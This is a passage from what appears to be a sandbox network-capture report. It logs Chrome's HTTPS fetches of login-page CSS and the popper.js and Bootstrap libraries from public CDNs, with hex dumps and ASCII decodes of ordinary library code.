73 66 6f 72 Data Ascii: ary-active,.btn.btn-primary:active,button.btn-primary:active,input[type="button"].btn-primary:active,input[type="submit"].btn-primary:active,input[type="reset"].btn-primary:active{outline:none;text-decoration:none;-ms-transform:scale(.98);-webkit-transfor
2025-01-10 17:37:43 UTC	11819	IN	Data Raw: 6e 74 7d 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 6d 65 6d 62 65 72 6e 61 6d 65 50 72 65 66 69 6c 6c 53 65 6c 65 63 74 3a 68 6f 76 65 72 2c 2e 6f 70 65 6e 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 6d 65 6d 62 65 72 6e 61 6d 65 50 72 65 66 69 6c 6c 53 65 6c 65 63 74 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 30 30 37 38 64 37 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 77 69 64 74 68 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 30 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 6d 65 6d 62 65 72 6e 61 6d 65 50 72 65 66 69 6c 6c 53 65 6c 65 63 74 Data Ascii: nt}.dropdown-toggle.membernamePrefillSelect:hover,.open .dropdown-toggle.membernamePrefillSelect{border:1px solid #0078d7;border-top-width:0;border-left-width:0;border-right-width:0;background-color:#eee !important}.dropdown-toggle.membernamePrefillSelect

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49732	104.17.25.14	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:43 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:43 UTC	957	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:37:43 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1312205 Expires: Wed, 31 Dec 2025 17:37:43 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iX6idAf1Lr9X4GXdWOIZuocLLMyKdpi4n9Pu96s81uxHSGLL5AHgFk8ed1IjSydgTaPEBi%2FzZjvaA4RdeMjBLhUCulKy3CGZVQSuENqIvtG%2F1F7pRIClZhDma7bjkIb8rgWDDaME"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ffe6fc77d431875-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 17:37:43 UTC	412	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 Data Ascii: nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':r
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 Data Ascii: r o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 Data Ascii: .top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 Data Ascii: :p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 Data Ascii: arn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 Data Ascii: options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e Data Ascii: o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 Data Ascii: ''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 Data Ascii: o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49733	104.18.11.207	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:37:43 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:37:43 UTC	967	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:37:43 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 55ff1487c6071501927da70bb950f7b5 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1142843 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffe6fc77d8c43b3-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 17:37:43 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bec/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 Data Ascii: :function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isE
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 Data Ascii: r e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._de
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e Data Ascii: &&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elemen
2025-01-10 17:37:43 UTC	1369	IN	Data Raw: 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 Data Ascii: "mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-ite
